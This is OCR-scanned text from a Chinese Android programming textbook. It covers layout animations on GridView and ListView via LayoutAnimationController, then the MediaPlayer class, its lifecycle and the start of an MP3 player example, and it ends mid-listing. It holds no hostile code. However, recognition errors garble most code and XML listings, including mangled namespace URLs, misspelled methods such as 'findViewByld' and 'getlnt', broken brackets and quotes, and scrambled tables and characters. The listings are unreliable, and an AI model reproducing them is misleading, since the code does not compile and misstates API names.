就 是 之 前 所 使 用 的 渐变 、 缩 放 、 旋 转 、 平 移 。 与 之 前 的 动画 操作 一 样 ，LayoutAnimationController 
可 以 通过 配置 文件 完成 ， 也 可 以 利用 程序 代码 完成 ， 下 面 先 使 用 配置 文件 的 方式 完成 。 
本 次 列举 两 个 操作 的 范例 :一 个 使 用 之 前 的 GridView 组 件 进行 图 片 列表 的 动画 显示 ; 另外 
-个 使 用 ListView 组 件 进行 数据 列表 的 动画 显示 。 
1. 在 GridView 组 件 上 使 用 动画 效果 


【 例 10-37】 定义 动画 配置 文件 
<?xml version="1.0" encoding="utf-8"?> 
<set xmlns:android= "httipschemas.android .comyapkresandroid'> 


res\anim\anim set.xml 


<alpha // 定 义 渐变 动画 
android:fromAlpha="1.0" // 动 画 开始 的 alpha 值 ，1 表示 不 透明 
android:toAlpha="0.0" // 动 画 结束 的 alpha 值 ，0 表示 完全 透明 
android:duration="3000" /> // 动 画 持续 的 时 间 为 3 秒 

<scale // 定 义 缩放 动画 效果 
android:fromXScale="1.0" // 组 件 从 X 轴 满 屏 显 示 开 始 
android:toXScale="0.0" // 组 件 缩小 到 无 
android:fromYScale="1.0" // 组 件 从 Y 轴 满 屏 显 示 开 始 
android:toYScale="0.0" // 组 件 缩小 到 无 
android:pivotX="50%" /以 自身 0.5 宽度 为 轴 缩放 
android:pivotY="50%" /以 自身 0.5 高 度 为 轴 缩放 
android:startOffset="100" // 动 画 间 隔 0.1 秒 
android:repeatCount="3" // 缩 放 动 画 重复 3 次 
android:duration="3000"/> // 动 画 持续 时 间 为 3 秒 

</set> 


本 配置 文件 与 之 前 的 动画 配置 文件 一 样 ， 一 共 配 置 了 渐变 和 缩放 两 个 动画 的 车 加 操作 ， 而 
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后 该 动画 的 配置 文件 需要 在 LayoutAnimationController 的 配置 文件 中 使 用 。 
【 例 10-38】 配置 LayoutAnimationController 的 配置 文件 一 一 res\anim\layout animation.xml 


<layoutAnimation /配置 LayoutAnimationController 
xmlIns:android="http:/schemas.android.com/apK/res/android" 
android:delay="0.5" /动画 间隔 为 0.5 秒 
android:animationOrder= random” /动画 随机 执行 


android:animation="@anim/anim_set" /> // 引 用 的 动画 配置 文件 
在 本 文件 中 主要 配置 LayoutAnimationController 的 相关 定义 , 在 此 配置 中 有 4 个 可 选 的 配置 
属性 ， 介 绍 如 下 。 
android:delay: 多 个 动画 间 的 间隔 时 间 ， 此 处 设置 的 单位 为 秒 。 
android:animationOrder: 表示 动画 的 执行 顺序 ， 有 3 种 可 选 顺序 。 
> normal: 按照 顺序 从 头 到 尾 依次 执行 动画 。 
六 ”reverse: 按照 逆序 的 方式 依次 执行 每 一 个 动画 。 
> random: 随机 执行 动画 。 
回 android:animation: 表示 要 引入 的 动画 配置 文件 ， 此 时 引入 的 配置 文件 是 之 前 所 讲解 的 
anim set.xml。 
android:interpolator: 配置 动画 的 执行 速率 。 
由 于 本 程序 是 在 GridView 组 件 上 应 用 的 动画 效果 ， 所 以 在 使 用 GridView 组 件 定义 图 片 显 
示 之 前 首先 需要 完成 一 个 内 容 显示 的 适配器 程序 。 
【 例 10-39】 定义 GridView 显示 的 图 片 适配器 一 一 ImageAdapter.java 
package org.Ixh.demo; 
import java.lang.reflect.Field; 
import java.util.ArrayList; 
import java.util.List; 
import android.content.Context; 
import android.view.View; 
import android.view.ViewGroup; 
import android.view.ViewGroup.LayoutParams; 
import android.widget.BaseAdapter 
import android.widget.GridView; 
import android.widget.ImageView; 
public class ImageAdapter extends BaseAdapter{ 
private List<Integer> picRes = new ArrayList<lnteger>() ; 
private Context myContext = null ; 
public ImageAdapter(Context c) { 
this.myContext = c ; 
this.initPic() ; /将 所 有 的 图 片 资源 ID 读 取 进来 


1 
public int getCount() { 
return this.picRes.size(); 


public Object getltem(int arg0) { 
return this.picRes.get(arg0); 
} 
public long getltemld(int position) { 
return this.picRes.get(position).intValue(); 
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public View getView(int position, View convertView, ViewGroup parent) { 
ImageView img = new ImageView(this.myContext); 
img.setBackgroundColor(0xFF000000); 
img.setlImageResource(this.picRes.get(position)); // 给 ImageView 设置 资源 
img.setScaleType(ImageView.ScaleType.CENTER); /居中 显示 
img.setLayoutParams(new GridView.LayoutParams(LayoutParams.WRAP_CONTENT, 


LayoutParams.WRAP_CONTEN7)):; // 布 局 参数 
img.setPadding(3, 3, 3, 3); // 左 、 上 、 右 、 下 边 距 
return img; 


public void initPic(){ 
Field[] fields = R.drawable.class.getDeclaredFields(); 
for (intx = 0; x < fields.length; x++){ 


if (fields[x].getName().startsWith("png_")){ /所 有 以 png_* 命 名 的 图 片 
try{ /保存 图 片 ID 


this.picRes.add(fields[x].getlnt(R.drawable.class)); 
} catch (Exception e){ 

e.printStackTrace(); 
} 


} 
} 
本 程序 继续 使 用 第 7 章 讲 解 GridView 组 件 时 所 使 用 的 24 张 生肖 图 片 ， 所 有 的 图 片 都 是 以 
“png *” 的 形式 命名 的 。 
【 例 10-40】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 组 件 高 度 为 屏幕 高 度 
<GridView // 定 义 网 格 视图 
android:id="@+id/myGridView” // 组 件 iD， 程序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 屏幕 高 度 
android:numColumns="3” /每 行 显示 3 个 组 件 
android:stretchMode="columnWidth" /| 缩放 时 与 列 的 宽度 保持 一 臻 
android:layoutAnimation="@anim/layout_animation"/>//LayoutAnimationController 配置 
</LinearLayout> 


本 程序 在 GridView 组 件 上 使 用 android:layoutAnimation 属性 表示 此 组 件 显示 时 所 需要 引入 
的 layout 动画 ， 而 该 layout 动画 就 是 为 之 前 所 配置 的 layout animation xml 文件 。 
【 例 10-41】 定义 Activity 程序 显示 图 片 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget.GridView:; 
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public class MyAnimationDemo extends Activity { 


由 了 


private GridView myGridView = null ; // 定 义 网 格 视图 

@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 默认 布局 
this.myGridView = (GridView) super .findViewByld(R.id.myGridView) ; 
this.myGridView.setAdapter(new ImageAdapter(this)) ; /设置 图 片 


} 


F 所 有 显示 图 片 的 数据 信息 都 封装 在 ImageAdapter 类 中 ,所 以 本 程序 直接 将 ImageAdapter 


类 的 对 象 设置 在 GridView 组 件 中 ， 而 在 执行 时 ， 就 会 按照 配置 实现 动画 效果 ， 程 序 的 运行 效果 
如 图 10-20 所 示 。 


2: 


图 10-20 在 GridView 组 件 中 配置 动画 


在 ListView 组 件 中 配置 动画 效果 


ListView 作为 列表 显示 组 件 ， 在 显示 或 更 新 列表 项 时 也 是 可 以 使 用 动画 效果 完成 的 ， 下 面 
通过 一 个 实际 的 操作 来 观察 其 使 用 。 为 了 简化 代码 ， 将 采用 与 之 前 同样 的 动画 配置 文件 (anim_ 


set.xml、 


layout animation.xml) 。 


【 例 10-42】 定义 ListView 显示 的 布局 管理 器 一 一 info.xml 


<?xml version="1.0" encoding="utf-8"?> 
<TableLayout // 表 格 布局 管理 器 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
xmlIns:android="http:/schemas.android.com/apk/res/android" 
android:layout_height="wrap_content”> // 布 局 管理 器 高 度 为 内 容 高 度 
<TableRow> // 表 格 行 
<TextView // 文 本 显示 组 件 
android:id="@+id/id" /组 件 ID， 程 序 中 使 用 
android:textSize="16px" /文字 大 小 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:layout_width="100px"/ // 组 件 宽度 为 100 像素 
<TextView /文本 显示 组 件 
android:id="@+id/data”" /组 件 ID， 程 序 中 使 用 
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android:textSize="16px" /文字 大 小 

android:layout_height="wrap_content” /1/ 组 件 高 度 为 文字 高 度 

android:layout_width="200px"/> /1/ 组 件 宽度 为 200 像素 
</TableRow> // 表 格 行 完结 


</TableLayout> 
本 配置 文件 主要 完成 ListView 中 每 一 行 数据 的 显示 ， 所 以 使 用 了 表格 布局 管理 器 ， 而 其 中 
的 文本 显示 组 件 中 设置 的 ID 就 是 以 后 在 Activity 程序 中 与 Map 数据 相 匹 配 的 标记 。 
【 例 10-43】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


Ee 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertica/” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ListView // 定 义 ListView 组 件 
android:id="@+id/myListView” /组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 显示 高 度 
android:layoutAnimation="@anim/layout_animation"/> ”// 引 入 的 动画 配置 文件 
</LinearLayout> 


在 本 配置 文件 中 配置 了 一 个 ListView 组 件 ， 与 之 前 定义 GridView 组 件 一 样 ， 使 用 android: 
layoutAnimation 属性 来 指定 动画 的 配置 文件 。 
【 例 10-44】 编写 Activity 程序 ， 在 ListView 上 显示 信息 
package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.HashMap; 
import java.util.List; 
import java.util.Map; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget.ListView'; 
import android.widget.SimpleAdapter; 
public class MyAnimationDemo extends Activity { 
private String idData[l] = new String[] { "mldn", "Ixh", 


"bbs", "javajob" }; /显示 ID 
private String titleData[] = new String[] { " 魔 乐 科技 ", " 李 ” 兴 ” 华 ", " 魔 乐 社区 "， 
" 招 聘 网 "}; // 显 示 数 据 
private SimpleAdapter simple = null ; /| 数据 适配器 
private ListView myListView = null ; 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.myListView = (ListView) super .findViewByld(R.id.myListView) ; 
List<Map<String,Object>> all = new ArrayList<Map<String,Object>>() ; 


Map<String, Object> map = null; // 保 存 多 组 数据 
for (int x = 0; x < this.idData.length; x++) { // 循 环 设置 内 容 
map = new HashMap<String, Object>(); /实例 化 Map 对 象 
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map.put("id", this.idData[x]); // 设 置 显 示 图 片 
map.put("data", this titleData[x]); // 设 置 显示 标题 
all.add(map); /保存 map 
1 
this.simple = new SimpleAdapter( 
this, // 将 数据 包装 
all, /数据 集合 
R.layout.info, // 显 示 的 布局 管理 器 
new String[] { "id", "data"}, // 匹 配 的 Map 集合 的 key 
new intl] { R.id.id, R.id.data}) : /配置 显示 数据 
this.myListView.setAdapter(this.simple) ; // 设 置 数 据 


} 


} 
本 程序 的 主要 功能 是 将 所 有 需要 显示 的 数据 保存 在 一 个 SimpleAdapter 对 象 中 进行 封装 ， 并 
在 ListView 上 显示 ， 程 序 的 运行 效果 如 图 10-21 所 示 。 


本 5554:Android_2.3 =|D|x| 


FORTTETETET 


图 10-21 在 ListView 上 使 用 动画 
以 上 两 个 范例 都 是 直接 在 组 件 上 应 用 了 配置 好 的 LayoutAnimationController 动画 , 实际 上 对 
于 LayoutAnimationController 动画 ， 也 可 以 采用 编码 的 形式 出 现 。 在 进行 操作 之 前 ， 首 先 来 看 
android.view.animation.LayoutAnimationController 类 的 相关 方法 及 常量 ， 如 表 10-25 所 示 。 


表 10-25 LayoutAnimationController 类 定义 的 常用 方法 及 常量 


public static final int ORDER_NORMAL 党 站 动画 采用 | 
public static final int ORDER RANDOM 动画 采用 随机 顺序 效果 完成 
public static final int ORDER_REVERSE 动画 采用 逆序 效果 完成 
public void setDelay(float dela 设置 动画 间隔 
设置 要 使 用 的 动画 效果 
public void setAnimation(Context context intresourceID) 普通 设置 要 使 用 的 动画 效果 的 配置 文件 

public void setOrder(int order) 普通 设置 动画 的 执行 顺序 
public void start() 普 和 开始 动画 

下 面 将 修改 之 前 ListView 显示 数据 的 操作 ， 所 有 动画 效果 通过 代码 设置 。 在 本 程序 中 不 再 
需要 layout_animation xml 文件 ， 此 文件 的 功能 将 直接 使 用 LayoutAnimationController 类 实现 ， 
而 本 程序 所 使 用 的 动画 效果 依然 是 anim_setxml 配置 的 内 容 。 

【 例 10-45】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android™ 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
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android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ListView // 定 义 ListView 组 件 
android:id="@+id/myListView” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content" /> /组件 高 度 为 显示 高 度 
</LinearLayout> 
在 本 配置 文件 中 , 将 最 早 配置 在 ListView 组 件 中 的 android:layoutAnimation 属性 删除 ， 其 他 
配置 与 之 前 相同 。 
【 例 10-46】 定义 Activity 程序 ， 手 工 配 置 LayoutAnimationController 


package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.HashMap; 
import java.util.List; 
import java.util.Map; 
import android.app.Activity; 
import android.os.Bundle'; 
import android.view.animation.Animation; 
import android.view.animation.AnimationUtils; 
import android.view.animation.LayoutAnimationController; 
import android.widget.ListView'; 
import android.widget.SimpleAdapter 
public class MyAnimationDemo extends Activity { 
private String idData[] = new String[] { "mldn", "Ixh", 
"bbs", "javajob" }; 
private String titleDatal] = new String[] { " 魔 乐 科技 ", " 李 兴 
" 招 聘 网 小 
private SimpleAdapter simple = null ; 
private ListView myListView = null ; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


/显示 ID 

华 "，" 魔 乐 社区 "， 
/显示 数据 
/数据 适配器 


this.myListView = (ListView) Super.findViewByld(R.id.myListView) ; 
List<Map<String,Object>> all = new ArrayList<Map<String,Object>>() ; 


Map<String, Object> map = null; 

for (int x = 0; x < this.idData.length; x++){ 
map = new HashMap<String, Object>(); 
map.put("id", this.idData[x]); 
map.put("data", this .titleData[x]); 


all.add(map); 
} 
this.simple = new SimpleAdapter( 
this, 
all 


R.layout.info, 

new String[] { "id", "data"}, 

new int[0 { R.id.ig, R.id.data}) ; 
this.myListView.setAdapter(this.simple) ; 


/保存 多 组 数据 

// 循 环 设置 内 容 
/实例 化 Map 对 象 
// 设 置 显示 图 片 
/设置 显示 标题 
/保存 map 


/将 数据 包装 

/| 数据 集合 
/显示 的 布局 管理 器 

// 匹 配 的 Map 集合 的 key 
/配置 显示 数据 

// 设 置 数据 
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Animation anim = AnimationUtils./oadAnimation( 
this, R.anim.anim_sen); 1/ 读 取 动画 配置 文件 
LayoutAnimationController control = new LayoutAnimationController(anim) ; 
control.setDelay(0.5f); /1 动画 间隔 
control.setOrder(LayoutAnimationController.ORDER_RANDOM) ;// 动 画 显示 顺序 
this.myListView.setLayoutAnimation(control) ; /1 设置 动 画 
} 


b 

在 本 程序 中 首先 使 用 AnimationUtils 读 取 anim set.xml 的 动画 配置 文件 ， 随 后 实例 化 一 个 
LayoutAnimationController 对 象 ， 并 配置 动画 间隔 和 动画 的 执行 顺序 ,最 后 利用 setLayoutAnimation() 
方法 添加 动画 。 


10.5 媒体 播放 


播放 音乐 或 视频 已 经 成 为 智能 手机 必 不 可 少 的 一 种 实用 功能 , 在 Android 操作 系统 中 , 也 同 
样 支持 媒体 文件 的 播放 功能 , 开发 者 直接 使 用 android.media.MediaPlayer 类 即 可 完成 音频 或 视频 
文件 的 播放 操作 ，MediaPlayer 类 定义 的 方法 如 表 10-26 所 示 。 
和 0 注 直 
MediaPlayer 不 是 万 能 的 。 
关注 过 媒体 文件 的 读者 应 该 清楚 ， 视 频 和 音频 有 众多 格式 ， 而 MediaPlayer 只 能 播放 一 些 
标准 格式 的 媒体 文件 ， 如 MP3、3GP 等 ， 而 其 他 媒体 格式 的 文件 则 需要 编写 相应 的 解码 程序 
后 才 可 以 播放 ， 这 部 分 内 容 已 经 超过 本 书 的 范畴 ， 有 兴趣 的 读者 可 以 自行 查阅 其 他 相关 资料 。 


表 10-26 ”MediaPlayer 类 定义 的 方法 


No. 方 ” 法 描述 
blic static MediaPl te(Context context, 
| 从 指定 的 Uii 中 创建 一 个 Mediaplayer 对 象 
Uri uri) 
public static MediaPlayer create(Context context, 根据 指定 的 资源 ID 创建 一 个 MediaPlayer 
int resid) 对 象 


public static MediaPlayer create(Context context, 从 指定 的 Uri 中 创建 一 个 MediaPlayer 对 
Uri uri, SurfaceHolder holder 象 ， 并 在 SurfaceView 中 显示 视频 

4 |public int getCurentposition0 取得 当前 播放 的 位 置 点 

5 |public int getDuration0 得 到 媒体 的 长 度 

6 |public int getVideoHeightO 取得 视频 的 高 度 

7 |public int getVideoWidthO 取得 视频 的 宽度 
8 

9 


public boolean isLoopingO 判断 是 否 是 循环 播放 

判断 是 否 正 在 播放 

暂停 播放 

准备 播放 〈 同 步 ) 在 播放 前 调用 


public boolean isPlayimgO 


10 |public void pauseO) 


11 |public void prepareO) 
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续 表 
No. 厄 一 污 类 型 描述 
12 |public void prepareAsyncO 准备 播放 (异步 ) 在 播放 前 调用 
13 |public void releasel 普通 ”| 释放 MediaPlayer 所 占用 的 资源 
14 |public void reset0 恢复 MediaPlayer 到 未 初始 化 状态 
15 |public void seekTo(int msec) 指定 媒体 的 播放 点 
16 |public void setDisplay(SurfaceHolder sh) 设置 视频 显示 
17 |public void setLooping(boolean looping) 设置 循环 
i public void ee opiolon ne (MediaPlayer. 媒体 播放 完成 后 触发 
OnCompletionListener listener) 
别 public void CE 当 媒体 准备 完成 时 触发 
OnPreparedListener listener) 
声 publio void POS ee re | 当 媒体 设置 播放 点 之 后 触发 
MediaPlayer.OnSeekCompleteListener listener 
public void setOnVideoSizeChangedListener 
21 | (MediaPlayer.OnVideoSizeChangedListener 普通 | 当 视 频 文件 大 小 改变 之 后 触发 
listener) 
翅 public void setOnErrorListener(MediaPlayer. 普通 出 现 错误 时 触发 ， 如 视频 /音频 文件 错误 、 
OnErrorListener listener) 分 辩 率 过 大 、 超 时 等 
oubhe Void setVolume(float leftVolume, float 普通 “| 设置 播放 音量 
TightVolume) 
24 |public void startO 开始 播放 
25_|public void stop0 停止 播放 
26 |public void setDataSource(String path, 指定 媒体 源 
27 |public void setDataSource(Context context, Uri uri) 指定 媒体 源 
28 |public void setAudioStreamType (int streamtype 设置 音频 的 类 型 


在 使 用 MediaPlayer 进行 媒体 文件 播放 之 前 ， 首 先 需 要 了 解 MediaPlayer 操作 的 生命 周期 。 
(1) Idle 状态 
当 使 用 关键 字 new 实例 化 一 个 MediaPlayer 对 象 或 者 是 调用 了 类 中 的 reset0 方 法 时 会 进入 到 
此 状态 。 
(2) End 状态 
当 调 用 release() 方 法 之 后 将 进入 到 此 状态 ， 此 时 会 释放 所 有 占用 的 硬件 和 软件 资源 ， 并 且 不 
会 再 进入 到 其 他 任何 一 种 状态 。 
(3) Initialized 状态 
当 MediaPlayer 对 和 象 设置 好 要 播放 的 媒体 文件 (setDataSource()) 之 后 进入 到 此 状态 。 
(4) Prepared 状态 
预 播放 状态 (prepare0、PprepareAsyncO0) ， 进 入 到 此 状态 则 表示 目前 的 媒体 文件 没有 任何 问 
题 ， 可 以 使 用 OnPreparedListener 监听 。 
如 果 用 户 调用 的 是 prepare() 方 法 (同步 ), 则 表示 该 MediaPlayer 对 象 已 经 进入 Prepared 
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回 ”如果 用 户 调用 的 是 prepareAsync0 方 法 (异步 ), 则 表示 该 MediaPlayer 对 象 进入 Preparing 
状态 并 返回 ， 而 内 部 播放 引擎 会 继续 执行 未 完成 的 准备 操作 。 
(5) Started 状态 
正在 进行 媒体 播放 〈startD) ， 此 时 可 以 使 用 seekTo() 方 法 指定 媒体 播放 的 位 置 。 
(6) Paused 状态 
在 Started 状态 下 使 用 Paused 状态 可 以 暂停 MediaPlayer 的 播放 ， 和 暂停 之 后 可 以 通过 start() 
方法 将 其 变 回 到 Started 状态 ， 继 续 播放 。 
(7) Stopped 状态 
在 Started 和 Paused 状态 下 都 可 以 通过 stop() 方 法 停止 MediaPlayer 的 播放 , 在 Stopped 状态 
下 要 想 重 新 进行 播放 ， 则 可 以 使 用 prepare0 和 prepareAsync() 方 法 进入 到 就 绪 状态 。 
(8) PlaybackCompleted 状态 
当 媒 体 文件 播放 完毕 之 后 会 进入 此 状态 ， 用 户 可 以 使 用 OnCompletionListener 监听 此 状态 ， 
时 可 以 使 用 start0 方 法 重新 播放 ， 也 可 以 使 用 stop0 方 法 停止 播放 ， 或 者 使 用 seekTo() 方 法 来 
新 定位 播放 位 置 。 
(9) Error 状态 
当 用 户 播放 操作 中 出 现 某 些 错误 〈 文 件 格式 不 正确 、 播 放 文件 过 大 等 ) 时 则 进入 此 状态 ， 
户 可 以 使 用 OnErrorListener 来 监听 此 状态 ， 如 果 MediaPlayer 进入 此 状态 ， 可 以 使 用 reset0 方 
法 重新 变 回 Idle 状态 。 
MediaPlayer 的 生命 周期 如 图 10-22 所 示 。 


后 


[ee 


looping=false seekTo()/pause() 
OnCompletionlistener Start() 


图 10-22 ”MediaPlayer 的 生命 周期 
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10.5.1 播放 MP3 


清楚 了 MediaPlayer 类 的 基本 使 用 之 后 ， 下 面 演示 如 何 使 用 MediaPlayer 播放 MP3 文件 ， 要 
播放 的 文件 为 mldn_ad.mp3， 该 文件 保存 在 res\raw\ 文 件 夹 中 。 

既然 要 进行 音频 文件 的 播放 , 则 需要 一 些 播放 的 控制 按钮 ， 本 程序 定义 3 个 按钮 :“ 播 放 ”、 
“暂停 ”和 “停止 ”按钮 ， 同 时 为 了 操作 方便 ， 使 用 一 个 拖 动 条 表示 播放 的 进度 。 

【 例 10-47】 定义 布局 管理 器 一 一 main.xml 

<?xml version="1.0" encoding="utf-8"?> 

<LinearLayout 


// 定 义 线性 布局 管理 器 


xmlins:android="http:/schemas.android.com/apKk/res/android" 


android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 
android:id="@+id/info”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text= "等 伦 剖 绒 艾 们 三 区 .人 /> // 上 默认 显示 文字 
<LinearLayout // 内 赃 布 局 管理 器 


xmlIns:android="http://schemas.android.com/apk/res/android" 


android:orientation="horizontal” // 组 件 水 平 摆 放 
android:layout_width="wrap_content" // 布 局 管理 器 宽度 为 内 容 宽度 
android:layout_height="wrap_content”> // 布 局 管理 器 高 度 为 内 容 高 度 
<ImageButton // 图 片 按钮 
android:id="@+id/play” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 
android:src="@drawable/play /> // 组 件 图 片 


<ImageButton 
android:id="@+id/pause” 


/组 件 ID， 程 序 中 使 用 
/组件 ID， 程 序 中 使 用 


android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 
android:src="@drawable/pause"/> /组 件 图 片 


<ImageButton 
android:id="@+id/stop” 


// 组 件 ID， 程 序 中 使 用 
// 组 件 ID， 程 序 中 使 用 


android:layout_width="wrap_content” 1/ 组件 宽 度 为 图 片 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 
android:src="@drawable/stop" /> // 组 件 图 片 
</LinearLayout> 
<SeekBar // 拖 动 条 组 件 
android:id="@+id/seekbar” /组件 ID， 程 序 中 使 用 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” /> 1// 组 件 高 度 为 组 件 高 度 


</LinearLayout> 


在 本 程序 中 嵌 套 了 一 个 内 部 的 布局 管理 器 ， 在 内 机 布局 管理 器 中 使 用 了 3 个 图 片 按钮 ， 布 
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局 的 运行 效果 如 图 10-23 所 示 。 


图 10-23 布局 管理 器 效果 


【 例 10-48】 定义 Activity 程序 ， 操 作 音 频 文 件 〈 分 段 讲解 ) 
package org.Ixh.demo; 
import android.app.Activity; 
import android.media.MediaPlayer; 
import android.media.MediaPlayer.OnCompletionListener; 
import android.os.AsyncTask; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.ImageButton; 
import android.widget.SeekBar; 
import android.widget.SeekBar.OnSeekBarChangeListener; 
import android.widget. TextView; 
public class MyMediaPlayeDemo extends Activity { 


private ImageButton play = null; /图片 按钮 
private ImageButton pause = null; /图片 按钮 
private ImageButton stop = null; /图片 按钮 
private TextView info = null; /文本 显示 组 件 
private MediaPlayer myMediaPlayer = null; // 媒 体 播放 
private boolean pauseFlag = false; // 暂 停 播放 标记 
private boolean playFlag = true ; /是 否 播放 标记 
private SeekBar seekbar = null; // 拖 动 条 


本 程序 的 主要 功能 是 完成 MP3 音频 文件 的 播放 ， 所 以 首先 定义 了 3 个 控制 播放 的 图 片 按钮 
(ImageButton) : play (播放 ) 、pause 暂停) 和 stop 〈 停 止 ) ， 而 后 定义 的 TextView 组 件 主 
要 用 于 显示 当前 的 播放 状态 , 而 SeekBar 组 件 提供 了 一 个 拖 搜 功能 , 可 以 实现 在 指定 位 置 处 进行 
音频 播放 。 

@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 文件 
this.info = (TextView) super.findViewByld(R.id.info); // 取 得 组 件 
this.play = (ImageButton) super .findViewByld(R.id.play); // 取 得 组 件 
this.pause = (ImageButton) super.findViewByld(R.id.pause); // 取 得 组 件 
this.stop = (ImageButton) super findViewByld(R.id.stop); // 取 得 组 件 
this.seekbar = (SeekBar) super.findViewBylId(R.id.seekban); // 取 得 组 件 
this.play.setOnClickListener(new PlayOnClickListenerImpl()) ; // 按 钮 单 击 事件 
this.pause.setOnClickListener(new PauseOnClickListenerlImpl()); ”// 按 钮 单 击 事件 
this.stop.setOnClickListener(new StopOnClickListenerImpl()); // 按 钮 单 击 事件 
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onCreate() 方 法 的 主要 功能 是 依次 取得 在 布局 管理 文件 中 定义 的 各 个 组 件 ， 之 后 为 3 个 音频 
控制 按钮 设置 单 击 事件 。 
private class PlayOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 


} 


MyMediaPlayeDemo.this.myMediaPlayer = MediaPlayer.create( 
MyMediaPlayeDemo.this, R.raw.mldn_ad); // 找 到 指定 的 资源 
MyMediaPlayeDemo.this.myMediaPlayer 
.SetOnCompletionListener(new OnCompletionListener() { 
@Override 
public void onCompletion(MediaPlayer media) { 
MyMediaPlayeDemo.this.playFlag = false ; ”// 播 放 完 毕 


media.release(); // 释 放 所 有 状态 
j 

D); /播放 完毕 监听 
MyMediaPlayeDemo.this.seekbar.setMax(MyMediaPlayeDemo.this.myMediaPlayer 

.getDuration()); // 设 置 拖 动 条 长 度 为 媒体 长 度 
UpdateSeekBar update = new UpdateSeekBar() ; // 启 动 子 线程 更 新 拖 动 条 
update.execute(1000) ; /休眠 1 秒 
MyMediaPlayeDemo.this.seekbar.setOnSeekBarChangeListener( 

new OnSeekBarChangeListenerlImpl()); // 拖 动 条 改变 音乐 播放 位 置 


if (MyMediaPlayeDemo.this.myMediaPlayer != null) { 
MyMediaPlayeDemo.this.myMediaPlayer.stop(); /停止 播放 
try{ 
MyMediaPlayeDemo.this.myMediaPlayer.prepare(); /进入 到 预备 状态 
MyMediaPlayeDemo.this.myMediaPlayer.start(); /播放 文件 
MyMediaPlayeDemo .this info.setText(" 正 在 播放 音频 文件 .…"); /设置 文字 
} catch (Exception e){ 
MyMediaPlayeDemo.this.info.setText(" 文 件 播放 出 现 异常 ，" + e); /设置 文字 


} 


} 
本 程序 主要 完成 “播放 ”按钮 的 事件 处 理 程序 ， 当 单 击 “ 播 放 ” 按 钮 后 , 会 首先 通过 MediaPlayer 
类 中 的 create0 方 法 找到 要 播放 的 音频 文件 ， 并 且 为 此 播放 器 设置 一 个 监听 操作 ， 这 样 在 播放 完 


成 之 后 会 自动 释放 所 占用 的 资源 。 另 外 ， 由 于 进度 条 的 显示 位 置 也 应 该 与 音频 播 


点 保持 同步 ， 


所 以 专门 定义 了 一 个 UpdateSeekBar 类 完成 拖 搜 条 的 进度 更 新 , 而 后 启动 播放 程序 进行 音乐 的 播 


放 操 作 。 
private class UpdateSeekBar extends AsyncTask<lnteger, Integer, String> { 
@Override 
protected void onPostExecute(String result) { // 任 务 执行 完 后 执行 
上 
@Override 
protected void onProgressUpdate(Integer... progress) { /每 次 更 新 之 后 的 数值 
MyMediaPlayeDemo.this.seekbar.setProgress(progress[0]) ; /更 新 拖 动 条 
} 
@Override 
protected String dolnBackground(Integer... params) { /处理 后 台 任 务 
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while (MyMediaPlayeDemo.this.playFlag) { /进度 条 累加 
try{ 
Thread.sleep(params[0]); /延缓 执行 
}catch (InterruptedException e) { 
e.printStackTrace(); 


this.publishProgress(MyMediaPlayeDemo.this.myMediaPlayer 
